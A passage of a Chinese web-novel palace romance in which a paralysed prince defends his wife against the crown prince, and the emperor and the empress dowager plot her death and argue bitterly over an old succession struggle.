之后君翊便躺在床上,只听不说话,身上少了些从前的那种令人心生寒颤的肃杀之气,君宁玄心里也少了些畏惧,开始大胆了了些,又和君翊说了不少的话。 当然,绝大部分都是在祝愿君翊的身体能够尽快好起来的客气话。 只不过,君翊全程却没有给出半点回应,就静静地听着。 第124章 太子最近做的荒唐事不少啊 神色不冷不淡,这叫君宁玄郁闷,总感觉自己的这张热脸贴到冷屁股上了似的,有些尴尬。 之后君宁玄也不再说话了,杵在一旁,脸色也看上去难看的紧。 君宁宇从始至终都是一副恭敬的姿态,见着太子和君翊说话,他也不胡乱插嘴,而是从暗祁的手上重新那会药碗,继续认认真真的服侍着君翊喝药。 君翊并不拒绝,只是先头说了两句客气话,之后见着君宁宇执着,也不在阻止,温笑的看着君宁宇:“有劳侄儿了。” 这下子,君宁玄看着心里头更加叫一个郁闷呀! 明明他们都是皇叔的侄儿,可是皇叔却对君宁宇那家伙亲和,客客气气,可对他这个太子侄儿呢,却连搭理都懒得搭理一眼! 这让从前一直养尊处优走到哪里都受万人追捧的太子有些难以接受。 君宁宇的一碗药尽数喂给君翊之后,君翊的脸上也略带疲倦之色,沈听晚这才缓缓起身,拍了拍裙摆上本不存在的灰尘走上前去:“王爷说了这么长时间话怕是也乏了,不如宇世子和太子先回吧,免得过了病气。” 沈听晚话音刚落,君翊也十分配合的闭上了眼,明摆着不想再理会房间里的两人。 君宁宇的脸上倒没有因为沈听晚下的逐客令而恼怒,而是自觉的起身,朝着床上的君翊行了一礼:“那侄儿先行告退,等皇叔身子好些了,侄儿再来看望皇叔。” 站直身转身又朝着沈听晚行了礼:“侄儿先告辞,回去后会派人把焕颜膏给皇婶送到府上。” 沈听晚顿了顿,没想到君宁宇来认真的。 她刚才还真以为,君宁宇就是在和她客气一下呢。 “多谢。” 太子脸色有些不好看,转眼很是抱怨的瞪了沈听晚一眼。 这皇叔从头到尾都没说超过三句话,这么久说了这么长时间的话就累了? 他心里恼怒的很,不过又想到自己母后的话,这才把心里的怒气强压下去,沉声的说:“那侄儿也先行告退,皇叔好生将养着身子。” 最好是不到年关就赶紧死了得了,也免得他父皇日日夜夜都忌惮着这个瘫子! 君宁玄心里暗自咒骂道,但是面上却并未敢表现出半点来,转身便准备默默地退出去。 而这时,太子的一只脚才刚刚迈出门槛,身后便传来君翊一道不冷不淡的声音:“本王听说,最近太子做的荒唐事可不少啊。” 君宁玄脚下的步子瞬间僵在原地,还没走远的君宁宇,听到君翊的声音响起,也放缓了脚步。 “皇叔……这是说的哪里话……侄儿愚钝。”君宁玄扯了扯嘴角,转头看向君翊,正好与君翊那威压的目光对视。 吓得君宁玄立马将头低了下去,不敢再多看一眼。 他来王府到出门,皇叔从来没有展露出半点肃杀之气,可是……这该来的还是来了。 “愚钝?本王看太子倒是聪明的很呢。”这段时间,君宁玄做的那些荒唐事,他虽然都没出王府的门,却也是知道的一清二楚。 君翊的双眼微眯,眼中闪过一抹横沥的光芒。 面对君翊投来的威压之气,君宁玄只感觉背脊一寒凉,呼吸都有些凝滞,胸口好像有什么东西压着,怎么也喘不过气来。 本想强撑着说上两句话,可正欲开口时,便听到君翊在此冷声地说:“从前的事便算是过去了,往后,听晚是本王的王妃,太子的皇婶,若是再让本王听到太子对听晚又任何不敬,太子应该知道后果。” 君翊的话一落下,君宁玄便感觉到了在他皇叔身上从未见过的强势与压迫,双腿顿时软了又软,吓得心脏都不由自主的加速几分。 君宁玄暗吸了一口凉气,强行平复这心里的恐惧,不断安抚着自己。 皇叔他现在就是一个瘫子,不能把我怎么样的。 没错,不用怕他!我是东陵的太子,未来东陵的君王,本太子怎么可能会被一个瘫子的话吓得浑身发软呢! 他强撑着身体,抬头:“侄儿知错,先前是侄儿鲁莽,侄儿向皇婶道歉。” 沈听晚站在床前,没想到君翊会突然之间给她撑腰,眼中看向君翊的神色有些意外。 这家伙这是要搞什么? 她压根就不需要君宁玄给她道歉的好吧。 就算是道歉了,她也不原谅! 君宁玄转身向沈听晚躬身行礼道歉,然而沈听晚却鸟都没鸟他,直接转头看向君翊,俯身贴心的把被子往君翊的身上盖了盖。 那架势,大有一副和我不相关的架势。 君宁玄的手举在半空中,好半天却迟迟没有等来半点回应。 而房间里的两人,仿佛是把门口的君宁玄遗忘了一般。 到最后,君宁玄的手都举酸了,床上的君翊才淡淡的说:“嗯?太子怎么还在这儿?” 君宁玄:“???” 啊不是…… 不是皇叔刚在和他说话吗? 他向沈听晚道歉,还没等来回应呢,这就又要赶她走了?! “那侄儿告退?”君宁玄又试探的开口。 “嗯。” 还不快滚! “太子记着自己说过的话,身为东陵储君,一言一行都代表了皇室颜面,切莫给皇室抹了黑。” 君宁玄一脸心虚的出了翊王府,轻巧看到君宁宇踏上马车,转头无意识看向自己,嘴角勾着淡淡的轻笑。 君宁玄眉头紧蹙,心下更是愤怒。 这个家伙,也敢留下来看他出丑! 君翊,沈听晚,还有这个该死的君宁宇! 好,本太子记住了! 等有朝一日本太子登基成为皇帝,一个都不会放过! 君宁玄的拳头攥的死死的,发出咯吱咯吱的声响来。 转身头也不回地上了马车,沉声地命令道:“回宫!” 他要去见母后! 他要问清楚,这个沈听晚,究竟是不是真的投靠了母后? 怎么今天他来翊王府一趟,总赶集沈听晚身上怪怪的,刚才皇叔的质问与警告,沈听晚也不曾帮他说过一句话,反而看着他出丑! 马车缓缓朝着皇宫的方向而去,而比君宁玄先到皇宫的,却是隐藏在君宁玄身边的钉子。 第125章 沈听晚不能留了! 君宁玄和君宁宇相继同时去了王府探望君翊的消息,不到半个时辰便传到了皇帝的耳朵里。 他听着跪在台下的人,说着现在关于君翊的情况,眉头瞬间紧蹙起来。 “你说什么,翊王他身子大好?” 台下的暗桩低头:“是,属下跟太子殿下一同进入王府,虽没有机会进入王爷的房间,但也在门口往里面瞄了一眼,王爷的面色红润,不见一点虚弱的迹象……” 听到这个消息,皇帝气的简直差点要把桌子给掀翻了,更是满眼充满了火气。 这段时间以来,翊王府把他安插进王府的人全部打发了,发卖的发卖,还有随便安插个罪名,直接乱棍打死的。 很长的一段时间里,皇帝都没办法从王府里打探出有关于君翊的任何消息。 好不容易他放了太子,太子去翊王府探望,才有机会打探一点消息出来。 可却没想到,这消息却是皇帝最不愿意听见的! 明明上一次见到君翊的时候,他还是一副死气沉沉,油尽灯枯之状,这么短短不到几天的时间,君翊那个瘫子的状态就好转了呢! 这下子,皇帝彻底坐不住了,抬眼沉声地对下面的人说:“你回去继续做事,太子再去翊王府的时候,你找机会给朕好好看看,翊王究竟是什么状态!” “是!” 暗桩悄声退了出去,皇帝坐在龙椅上面,沉思了一瞬,下一刻立马站起身对身边的赵启林沉声吩咐道:“去太后寝宫!” 这么严重的事情他必须要和太后好好商量一下才行! “是,摆驾慈宁宫!”赵启林领了旨意之后,忙不爹快不走到门口,扬声的喊道。 皇帝道慈宁宫的时候,太后正跪在小佛像前跪经,见到自己的母后,皇帝也立马着急的唤了一声:“母后。” 太后口中的经文被人打断,眉头不禁蹙了起来,转头看到来人是皇帝,这才把佛经合上,随即起身手上还捻动着佛祖:“发生什么事了,皇帝怎么来的这样匆忙?” 嘴上没说什么,但太后的脸上却有些责备。 堂堂皇帝,做事如此不稳重,像什么样子? “儿臣有要事与母后说,方才来得匆忙,请母后恕罪。” 太后依旧淡定的很,抬手示意屋内众人出去,房间里只剩下太后与皇帝两人。 “到底发生什么事了?” “母后,儿臣方才得知,翊王的身子日渐好转,此事您怎么看?” 房间里再没了外人,皇帝一屁股坐在椅子上,直接开口说到。 “身子好转?这怎么可能。翊王的身子皇宫里所有的太医都医治过,都没有什么好法子,估计好转也只会是回光返照吧。”太后神色淡淡,只是紧皱的眉头显示出她此刻心里还存着一丝怀疑。 在太后看来,君翊今天的一切,就是他们母子俩一手计划的,每一环的计划都没有任何的损失,太医说过,翊王活不了多久了,她想,估计这个瘫子也就这几天可活了。 可是看着皇帝脸色的凝重,太后又觉得心里隐隐有些不大对劲。 皇帝倒是觉得此事没有太后说的那么简单,有些忧心的开口:“母后,朕怎么觉得,自打那个沈听晚嫁到了翊王府之后,翊王的情况在一天天变好了呢……” 不知道是不是他的错觉,在上一次君翊为了沈听晚进宫那一天开始,皇帝的心里就隐隐有些不大对劲。 要知道,这一年多的时间里,不论发生什么大小事,君翊从来都没有出过王府,而这一次为了一个成亲不到一个月的沈听晚,这样大张旗鼓,甚至躺在软榻上也要给沈听晚撑腰。 凭借皇帝对他这个弟弟的了解,如果不是在沈听晚的身上看到了什么价值,他是绝对不会为了一个人,如此高调的出面,将整个京城的平静都打破了。 “皇帝的意思是,沈听晚说谎?她有能力把翊王给医好?”太后说到这里,脸色也变得难看不少。 这怎么可能呢。 沈听晚她不是只在神医谷待过两年的时间吗,而且还是在稚子的时候。 一个七八岁的小姑娘,即便是再有天赋,两年的时间也不可能在医术上有那么大的造诣吧? 皇帝沉思一瞬,心里突然间有一个大胆的想法:“母后,儿臣现在甚至都怀疑,沈听晚已经把君翊给医好了!” 又或者说,现在君翊正是在恢复的时期,要不了多久,君翊就再也不是那个瘫子了。 皇帝从前最放心的就是君翊很快就要死了,失去了这个最大的劲敌,他才能高枕无忧的当这个皇帝。 可是一旦沈听晚真的把君翊给医好了,那从前的那个最大隐患岂不是又回来了! 如果真的是这样的话,那么沈听晚,这个从前内太子嫌弃,二嫁才嫁入翊王府的翊王妃,将会是最大的祸害! 太后的脸色也瞬间一变:“皇帝,沈听晚留不得了! “或许她没有那个本事治得好翊王,翊王的伤实在脊柱,从古至今就连她师傅都没有治过这样的病人,”皇帝沉下心来仔细琢磨了片刻,没有,觉得是自己小题大做了,同时他也不相信,一个黄毛丫头就能左右东陵未来的局势。 君翊脊柱伤的伤,是他找天底下最厉害的杀手组织弄得,那帮人惯会在背地里下黑手,射向君翊的那一箭,正好是从君翊的后背传过去,直接将脊柱连腰刺穿。 而且这么长时间,君翊的脊柱就算是恢复,也早已经养成了,沈听晚就算是有天大的本事,也不能把君翊的脊柱打碎了再从造吧。 这样对君翊来说实在是太冒险了。 毕竟上一次,太医院所有太医联合起来,拼尽毕生所学的医术,也才将将把君翊从鬼门关里拉回来。 皇帝不相信沈听晚能有那个能耐,能和太医院的全部太医不相上下。 事实上,太后也不相信沈听晚能有这么厉害。 但是…… “皇帝,宁可错杀但绝不能放过,绊倒翊王我们母子俩已经牺牲的足够多了,也不能留下沈听晚这个隐患,万一真的被她瞎猫碰上死耗子,医好了翊王,那到时候,我们母子可能受得住翊王的回击吗?” 第126章 母后更希望谁坐上着皇位 太后也管不了那些了,她只知道,把所有的隐患全部铲除,这样才能够把危险降到最低。 死一个沈听晚,能够彻底断了君翊全部生路,对于太后而言,这个买卖很值得! “朕明白了,母后,儿臣会尽快安排的。” 皇帝转念一想也觉得母后说的确实有道理,他登上这皇位,已经付出了所有的心血,这条血路上,他牺牲了什么,只有他自己知道。 所以,有关于皇位的所有隐患,他都必须要彻底铲除! 斩草是要除根的,这个道理,皇帝还是懂得的! “还有,哀家听说,皇帝提前解了太子的禁足,可有这回事?”太后突然间想到了什么,转眼看向皇帝,沉声开口问到。 皇帝微愣住一瞬,脸色也有些难看的开口:“是。” “太子犯了错,禁足三个月已经是格外宽容了,皇帝怎可再提前解了太子的禁足?” “母后,太子虽然犯了错,但也已经知道悔改,而且这一次是前太傅亲自到正面前求情,再有一个月便是太子生辰,儿臣是想……” 太后蹙起眉头:“罢了,皇帝是九五之尊,做事自然有皇帝的考量,哀家是年纪大了,管不得太多,免得遭人烦呢。” “母后……” “既然太子的禁足解了,那边叫他用功读书吧,明日便叫宇世子进宫做太子伴读。”还没等皇帝开口说什么,太后打断又道。 太后的心里头虽然有些恼怒,那个不成器的太子,真不知道皇帝究竟是如何想的,偏偏要委以重任。 “皇帝子嗣单薄,虽然是太子是皇帝唯一的子嗣,但哀家还是那句话,太子绝不适合储君人选。” 太后手上捻动着佛珠,见着皇帝脸色的难看,不禁叹气说道:“衡亲王毕竟是你的亲兄弟,他当年虽然犯下过错,但如今也已经不在人世了,你还有什么好介怀的呢。” 皇帝紧低着头,抿了抿:“母后,儿臣想问你一件事。” “你说。” 皇帝深吸一口气,沉声质问道:“当年,母后究竟是想要儿臣当上这皇帝,还是老五,是不是母后也更希望当年的老五能够成功啊?” 衡亲王也是先帝和太后所出,皇子之中排行第五。 当年也是九子夺嫡中的竞争者,只不过,老五野心比皇帝要大上许多,先帝病重,但还未确立储君人选。 衡亲王也是心急,怕先帝驾崩之后,皇位落不到自己手中,便私下集结兵马,意图逼宫。 是皇帝亲自出面,将自己的亲弟弟堵在了家门口,衡亲王出身未捷,被皇帝逼得自尽在自己家中。 事后,皇帝登基之后,太后也就是她的亲生母亲百般哀求,让他能够保全衡亲王的身份,让衡亲王体体面面的走。 这些,皇帝都听从了母后的请求,不禁没有把衡亲王意图造反的罪名公之于众,还保全了衡亲王的身份,让他的子孙后代依旧以宗亲的身份自居。 可是皇帝却没想到的是,自己的母后,究竟是什么时候,有了想要让衡亲王的儿子继承皇位的想法? 听到皇帝的质问,太后的神色也变得有些难看了。 这么多年过去了,这是她第一次听到皇帝对她说这样质问的话。 “当年老五犯了糊涂,哀家不是没有劝阻过,只可惜他意气用事,此事也是哀家告诉你,让你去阻止他犯错的。” “是。”皇帝淡淡的开口:“母后让儿臣阻止老五,难道不是想让老五不背负上那些莫须有的骂名吗?” “可是你又做了什么?”太后的情绪突然间激动起来,眼眶泛红:“那是你的亲弟弟啊,他不比其他皇子,他可是你同父同母的亲弟弟,而你却逼死了他!” “母后!”皇帝的声音也陡地拔高:“逼死老五的不是朕!是他自己。” “母后,难道现在都好没有认清吗? 他想要当皇帝,任何人挡了他的道,他都不会手下留情。 母后总是说,朕与老五是亲兄弟,可是他有哪一刻真正把朕当做他的亲兄长吗! 从来没有过,他一直把朕是作为他登上皇位的阻碍,他想杀了朕啊!”皇帝也是越说越激动,情不自禁的站起身来死,俯身看向太后,眼中的眸中情绪再也隐忍不住。 这下子,太后怔住了。 她用一种震惊难以置信的眼神看向皇帝。 这些话,皇帝从来都没有向她说过。 只是下一瞬,太后又扯大了嗓门喊道:“你们都是哀家的孩子,哀家怎会不疼?” “可是有什么办法,皇帝,你是兄长啊,你弟弟固然再有错,你怎么能做出逼死他这种悖逆不道的事!” “朕悖逆不道?”皇帝突然间笑了,冰凉的泪水不自觉的从眼角滑落,他抬手淡定的将泪水擦去,微微站直了身子,淡淡道:“从前有人向朕说过,在这皇室之中,最不重要的就是亲情,那些民间血浓于水的亲情,是皇室之中最不该出现的东西!” “皇帝,你……”太后的脸色突然间变得煞白。 “这些话母后还记得吗?就是你亲口对朕说的啊。” 太后抬起眼看向皇帝,只见皇帝满眼尽是冷淡,眸底深处,似乎还有一道她看不懂的失望。 太后的心里咯噔一下。 皇帝盯着太后 是。 从前的很多时候,他也渴望得到母后对他的爱。 他也是一个有血有肉,有温度的正常人。 可是夺嫡的这条路上,需要流太多太多人的血了。 曾几何时,他甚至有些羡慕老五。 因为他所渴望的母爱,所渴望母后对他的赞赏,哪怕让他付出一切,可是也终究抵不过老五在母后面前的一个撒泼打滚的撒娇。 而他呢? 他也想过和老五一样,在太后面前承欢膝下。 可是换来的却是自己母后一次又一次的冷眼。 母后总是说:“你是当兄长的,做什么事情一定要稳重,给弟弟当一个表率!” “你并未皇帝长子,也不是嫡亲血脉,需要更加努力,绝不能让大皇子给比下去!” 第127章 你是长兄啊 “以后母后和你弟弟的全部指望都靠你了,千万不要让母后失望。” …… 这些话,一遍又一遍的出现在皇帝的脑海之中。 哪怕他现在已经听从母后地话,上了这至高无上的皇帝,可每每午夜梦回之际,这些话还是在皇帝的脑中驱之不散。 “母后,是你亲手教会儿臣如何手自相残的,朕曾经也因为老五的死而心生愧疚。” 可是这些愧疚,却是在太后对老五一家一再偏爱之中,一点点消磨殆尽的。 太后眼中流露出一抹不敢置信的看向皇帝。 似乎到现在这一刻,她从来都没有了解过这个儿子…… 皇帝回忆着以往的种种,母后的偏心,这条夺嫡之路的凶险,还有他这沾满同胞兄弟鲜血的双手。 他痛苦,可最痛苦的还是胸腔里的那颗心。 皇帝也有过绝望无助的时候,他也曾问过自己,一路走来,到底是为了什么? 为了当这个皇帝,可是真的登上这地位之后,他可曾快乐吗? 还有这皇帝之位,真的是他内心的渴望吗? 从来不是。 他登上帝位,是希望母后能够对他另眼相看,是希望母后觉得他这个儿子比她偏心的老五要强! 从小到大,他从来没有感受到母后对他的一点点关心。 皇帝深吸一口气,面容略带疲惫的说:“这些话,儿臣从未向母后讲过,幕后也可以好好的问一问自己的内心,我想有没有那么一刻真正在乎过朕?” 大概是皇帝双眸发红,或许是皇帝的话,有点儿吓到了太后,她忍不住浑身打了个寒战。 过了好一会了,太后才缓过来:“皇帝,你是……兄长啊……” 皇帝突然间笑了。 笑声极其苍凉。 又带着浓浓的讽刺意味。 这句话,他从小大大听过了无数遍。 可是他现在,早已经厌烦了。 “难道说就因为朕是兄长,不一定要处处让着他吗! 老五现在如何还活着,是不是母后也会说,朕是兄长,把皇位让给他啊! 哦,不对,母后已经这样做了……”皇帝眼中带着浓浓的失望,勾唇讽刺的开口:“母后处处看不惯太子,却对老五的孩子格外看重,不就已经是答案了吗。” 是啊。 所以他这些话问的确实有些多余了。 如今老五都已经不在这人世了,他的母后,还满心期盼着老五的孩子能够成为太子,而他的儿子,太后却是处处看不惯,甚至还要给了他唯一皇子的太子之位。 说来,皇帝也是全天底下虽可怜的人。 他死死抓只自己颤抖的手,强撑着在太后面前有那么一丝理智。 “不管怎么说,你是朕的母后,从今往后,朕对您依旧会恭敬,孝敬。 您偏爱老五一家,朕也不是不念及往日的兄弟情深,朕会善待他的儿子,但也仅此而已,朕这一路所争取的一切,都是朕应得的,而这些,朕也绝不会让他人抢夺了去。” 皇帝面无表情的说:“如果母后真的想要护住衡亲王府今后的安稳,那便请太后规劝好宇世子,让他莫要惦记本不该属于他的东西。” 这是第一次,他的心里对衡亲王一家下了杀心。 他的儿子就算是再烂泥扶不上墙,那也是他唯一的亲生皇子,而他这么多年来,冒死拼杀出来的皇位,只能交给和他流着相同血脉的亲儿子。 太后被皇帝突然之间的警告给惊到了。 她一脸的错愕:“皇帝是……是连老五的一家都不想要放过了吗……” “朕说了,如果他们能够安分守己一些,朕会让他们享受亲王的尊荣,但是其他的,又不是他们能够惦记的了。” “母后说了这么久的话,想必也累了,便安心歇下吧,儿臣还有折子要批,改日再来看望母后,就先行告退了。” 说着,皇帝便不等太后再说些什么,草草行了礼之后,便出了慈宁宫的门。 只留下太后一人,眼底一片死灰。 她手上死死攥紧了佛珠,似乎是想要掌控着什么,只可惜下一瞬,只听见店内传来“啪嗒”一声。 一串佛珠断了,几十颗珠子噼里啪啦散落一地,她起身想要去把佛珠拾起来,可惜刚站起身来,两眼便一黑,接下来双腿一软,彻底的昏死了过去…… 太后突然间无缘无故的晕倒,引来了皇宫里一场轩然大波。 整个太医院的太医都被召到了慈宁宫去给太后医治,诊脉的结果自然也是出奇的相似:“太后娘娘一时急火攻心,体内郁结导致的昏迷。” 倒也没有太严重。 结果传到御书房内,皇帝听了也是淡淡的嗯了一声。 然后就没了话音儿。 一直跟在皇帝身边的赵启林心里更加纳闷。 这往日里,太后那边不管有任何风吹草动,就是太后娘娘不小心染了风寒,陛下都是急得跟什么似的,连折子都不批了,亲自守护在太后娘娘床边侍奉,知道太后身子好转。 可今儿是怎么了? 陛下去了一趟慈宁宫,刚出门不久,慈宁宫内就传来太后晕倒的事。 这未免也太过巧合了些。 还是说陛下和太后娘娘之间说了什么…… 皇帝的心思,所有人都猜不透。 他回到御书房,先是下旨让皇后去慈宁宫侍疾,然后下的第二份旨意便是解除太子禁足,明日新任太傅会对太子授课,另外加增宁国公世子,刘老将军嫡次子进宫和衡亲王世子一同为太子伴读。 这个旨意一出,更是在朝廷上掀起一阵不小的风波。 先前皇帝将太子前任伴读尽是赶出皇宫,并且下旨这些人终身不得参加科举,独独让衡亲王世子为太子伴读,已经让朝中不少人震惊了。 可突然间,皇帝又下旨意,增加了两名伴读,这事可不是一般的大! 要知道,太子伴读可不是什么人都能胜任的,若是只有一位太子伴读,那这位伴读的地位可是举足轻重。 可突然间又增加两个,那君宁宇的地位无疑就会变得有些尴尬了。 …… 翊王府之中。 沈听晚送走了君宁玄和君宁宇出门之后,房间内便只剩下沈听晚和君翊两人大眼瞪小眼。 第128章 小姑娘是怕喝药? 沈听晚坐在一旁的椅子上,抬手便要挠脸颊上的疹子,却在这时,突然间被君翊厉声呵止:“不许挠。” 君翊盯着沈听晚那蠢蠢欲动的小手,双眉紧皱起来。 沈听晚的手停顿在半空中,有些憋憋的道:“痒啊。” 也不知道怎么了,这回她都已经涂了药膏,可还是不减疹子消下去,反而还越来越痒了。 “太医煎的药,你可喝了?” 沈听晚一顿,眼神有些躲闪,声音极小的说:“嗯……” “嗯?”君翊眼底闪过一丝怀疑:“为何方才暗蒙来报,过后厨房给你煎的药还放在偏房呢,药都凉了。” “这个暗蒙,这是个大嘴巴!” 沈听晚心里那叫一个郁闷啊。 王府上下,到处都受眼线,她想要做什么事,都瞒不过君翊的这双眼睛! 沈听晚盯着沈听晚那张郁闷的小脸,面色严肃的说:“不喝药,你脸上的疹子怎么会好?” 沈听晚:“我自己研制的药膏也能让我痊愈。” 就不用喝那些苦不拉几喝的倒胃口的汤药了吧…… 那些药,实在是太苦了! 沈听晚承认,中医的汤药有很多时候都很厉害,而且是从根上让人药到病除的。 可是,也有一个最致命的缺点。 那就是太苦了! 沈听晚实在受不了,昨天她也曾试着喝了一口,那一口苦的像黄连的汤药,险些没让沈听晚把晚饭都吐出来。 “那你涂抹了药膏,为何我看着也不怎么见效呢?” 小姑娘脸上的疹子也不见消下去一点。 沈听晚叹了口气,有些理亏到:“什么药也不能用了就立刻见效啊,再涂上几天,就没事了。” 总是,沈听晚还是比较相信自己的医术的。 君翊像是突然间看出来了什么似的,不禁无奈地笑道:“王妃这是怕吃苦?” “谁说的,我自己就是大夫,我能怕吃那玩意儿!”沈听晚也立马不干了,快速开口回怼道,只不过这说话的语气却是怎么看怎么没有底气。 “那如果不怕,就证明给本王看看。”君翊见着小姑娘满脸的心虚,又淡淡笑道。 “我凭什么要证明给你看啊?”沈听晚不服气的开口。 别说她却是是怕那药的苦味儿,就是不怕,她也没有那个必要做给君翊这家伙看吧。 “你若是不敢证明的话,那就承认自己怕吃苦吧。”君翊淡淡的开口,满脸的意味深长:“想不到,神医谷的弟子,竟然还怕吃苦啊……” 沈听晚听到君翊的话,更是恼羞成怒:“证明就证明,谁怕谁!” “暗祁,去重新煎一碗要进来。”见着沈听晚松口,君翊立马开口对外面的暗祁吩咐道。 那架势,像是怕小姑娘下一秒就要反悔似的。 对此,沈听晚的心里也是又气又恼又无奈。 君翊这个家伙,怎么就这么强势呢! 还真在她面前上演霸道王爷爱上我这一出呢啊! 君翊瞧着沈听晚那一脸郁闷的表情,非常突兀的问了一句话。 “你和太子在门口都说了什么?” 沈听晚脸上的表情顿时一僵,皱着眉反问道:“你什么意思?” 突然间听到君宁玄的名字,让沈听晚很是翻胃,脸上的恼意也更深了些。 君翊深深地看了沈听晚一眼,声音淡淡道:“从前还没来得及问,你原本是要嫁给他的,而且皇帝赐婚,也不见你反应有多大,为何……” 后面的话,君翊没有说出口,双眸依旧定定的紧盯着沈听晚。 他虽然已经知道了小姑娘不是从前的沈家嫡女,但却不知道,小姑娘对太子究竟是什么感情 而且,他也不知道,小姑娘究竟是什么时候来到沈家嫡女这副身体里来的。 如果小姑娘早早就来了,早到皇帝给她和太子赐婚之前,那也就是说明,小姑娘其实从前也并不反对嫁给君宁玄。 沈听晚好奇的打量着君翊:“你都知道什么了?” 君翊偏过头去,声音有些僵硬道:“你与太子有了婚约之后,总是偷偷去看他吧。” 沈听晚红唇扬起一抹冷笑,梅西的脸庞笼罩着一层寒意。 “这些你都打听到了啊。” 却是,她没穿到这本书当中之前,原主的确曾偷偷跑出府去,躲在暗处去偷看君宁玄。 君翊收回视线,紧抿着唇,片刻才见他薄唇微启:“你若是喜欢他……” “谁说我喜欢他啊!” 还不等君翊把话说完,沈听晚变立马炸了毛起身:“从前那是从前,我偷偷去看他,何事因为我对自己的未婚夫好奇而已,更何况,那时候我以为就要嫁给他了,那不应该提前了解清楚他究竟是一个什么样的男人吗!” 君翊猛地抬眼,眼神炙热的凝视着沈听晚:“那你了解完之后呢,对太子究竟什么印象?” “差!极差,差到没边了。”沈听晚阴沉着脸,又一屁股坐回床上:“就这么和你说吧,就算全天下的男人都死绝了,只剩他一个,我也不会嫁给他的程度!” 抛开她刚穿过来,正赶上她和君宁玄大婚之夜,他和叶雪初做出的那些荒唐事儿不谈,就算是没有这些事儿,她成为了太子妃,沈听晚也会找机会,逃离东宫,和君宁玄和离,甚至直接把太子给休了的。 君翊猛地看向沈听晚,看着小姑娘满脸的愤怒与厌恶之色。 他知道,小姑娘的心里是真的厌恶君宁玄的。 突然间心里有一种惊惶的情绪将君翊包围。 原本后怕的紧张情绪,像是一根紧绷的琴弦。 他现在来可以确定了,皇帝给沈听晚和君宁玄赐婚那会儿,小姑娘还没有来呢。 那究竟是什么时候来到这里的呢。 君翊向,那大概就是在沈听晚这君宁玄的新婚之夜那天了吧。 他甚至是突然有些后怕,如果不是小姑娘晚了那些天到来,哪怕是提前几天,她一定会在大婚之前,把她和太子之间的婚事给搅黄。 如果是这样的话,那小姑娘就不可能会嫁到翊王府了。 他们也就因此而错过了吧…… 第129章 重来一次,你还会嫁给本王吗 君翊眼神漆黑如墨:“那如果你当初和太子取消婚约,还有的选择的话,你还会嫁给本王吗?” “人生哪有那么多如果啊!”沈听晚冷冰冰的道。 沈听晚没有回答君翊的话,不过她心里想,如果那日她真的有选择的话,估计就不会再嫁给君翊了吧。 又或许她还是会嫁的。 毕竟君翊是她看到的整本书当中,唯一觉得遗憾的人物。 “本王倒是觉得,你还是会嫁给我。” 沈听晚一顿,她扯了扯嘴角…… 究竟是谁给这家伙,这么大的自信啊。 君翊俊美的脸庞,带着淡淡的笑意:“你嫁给本王之前,就已经知道本王命不久矣了吧。 不过我们的大婚之夜,你却还是选择出手相救,把我从鬼门关里拉回来,之后你在王府中的种种,都能看得出来,你是想改变本王,或者说是改变整个王府。” 君翊不蠢。 这些天他也暗自观察过小姑娘。 她虽然满口说着要离开王府的话,可是却是真正想要改变这个家的。 她什么事情都亲力亲为,而且救好他,似乎都已经成为了小姑娘的执念。 君翊不知道小姑娘究竟是从哪里来的,但是他能看得出来,沈听晚对他对整个王府,似乎都很了解。 沈听晚的脸色更诧异了,可以说是用难以置信来形容。 她没想到,君翊竟然都能看透到这个程度。 事实上,君翊说的是对的,或许就算是有的选择,她也会选择嫁给君翊。 “你这能说明什么?只能说明我们还挺有缘分的,当时的情形叫我没得选择,只能让我选择嫁给你 ” 君翊没在说话,垂眸紧盯着沈听晚的脸颊。 既然他们之间的相遇是一种缘分的话,那接下来,他便更加应该好好守护住他们的缘分。 这时,门外也传来暗祁的声音响起:“王爷,王妃,药煎好了。” 沈听晚:“……”她的小脸以肉眼可见的速度垮了下来:“什么药啊,怎么煎的这么快?” 这还不到一盏茶的功夫呢,哪有煎药用这么短时间的啊。 沈听晚原本还想着,能够拖延一阵儿,等药煎好,那也至少是两个时辰之后的事儿了,到时候她再找个由头离开,便能避开这碗药了。 哪能想到…… 暗祁手上端着药碗,推门走进来,笑着恭敬道:“回王妃娘娘的话,这药其实一早就煎下了,是暗蒙看到王妃没喝药,于是就叫后厨从新又煎了一碗,方才属下过去,药正好煎好了,就赶紧给王妃娘娘送来了。” 这回,就不用担心王妃的药再凉了。 有王爷看着呢,王妃想不喝药都不成了。 沈听晚狠狠地抽了抽嘴角:“你们还真是……挺勤快的呢!” 何止是勤快啊,简直就是太勤快了! 勤快的叫沈听晚都有些无语。 这帮人,难道就看不出来,她分明就是不想和这碗药的吗?! “多谢王妃娘娘夸奖,不过这些都是属下应该做的。”暗祁也是嘿嘿一笑,忙把药碗递上前去:“王妃娘娘,这药温度刚好,尽快趁热服用吧。” 喝了药,王妃娘娘脸上的疹子才能好啊。 沈听晚却是坐在床边一动不动,更是没打算要接过药碗的模样。 暗祁把手举在半空中,好半天也没见着自家王妃回应,想了想,昨天王妃身上起疹子,太医煎了药,王妃好像也没喝。 他抬眼看向沈听晚,不禁开口问:“王妃娘娘,您不会是害怕喝药吧?” 沈听晚把眉头弄到了一起,索性也不装了,她抬手指了指药碗:“这么苦的东西,你们能受得了吗?” 沈听晚自认为自己什么都不怕,不怕疼也不怕死,但却是超级超级怕苦。 主打就是,这人生都已经够苦的了,何必还要用这些苦的倒胃的药来折磨自己啊! 君翊瞬间笑了,这小姑娘还真的是怕吃药啊。 “你去给王妃找来些蜜饯。” 沈听晚依旧是满心的抗拒。 再甜的蜜饯果子,也抵消不了这药的苦味儿啊。 见着沈听晚又是一脸的不愿意,君翊也忍不住打趣道:“你是三岁孩童吗,还怕吃药?” 沈听晚微眯起美眸,眼底闪过一抹危险,威胁道:“明天我给你配一副这样的苦药,你试试!” 她来到这里,因为自己怕苦,所以从来都没有给君翊配哪种发苦的要,总是会估计到君翊,在不破坏药效的最大基础上,尽量那药的味道配的好下咽一些。 可是这家伙呢! 不领情就罢了,还在这趁火打劫的打趣她! 沈听晚发誓,从今往后她肯定不再善良一点了! 君翊:“本王这一年多来,什么味道的药没吃过?”他淡淡又看了沈听晚一眼开口:“如果这要给我喝,能让你痊愈的话,让本王喝一辈子都行。” 一句话,瞬间把炸了毛的沈听晚弄得没有一点脾气了。 沈听晚的脸色还转了不少,撇了撇嘴:“别以为你这么说,就能叫我对你感激涕零啊,告诉你,你这招对我可没用。” 甜言蜜语的话,她听的可比这要多! 君翊很是无奈:“你这姑娘,对本王的防备心怎么这么重?” 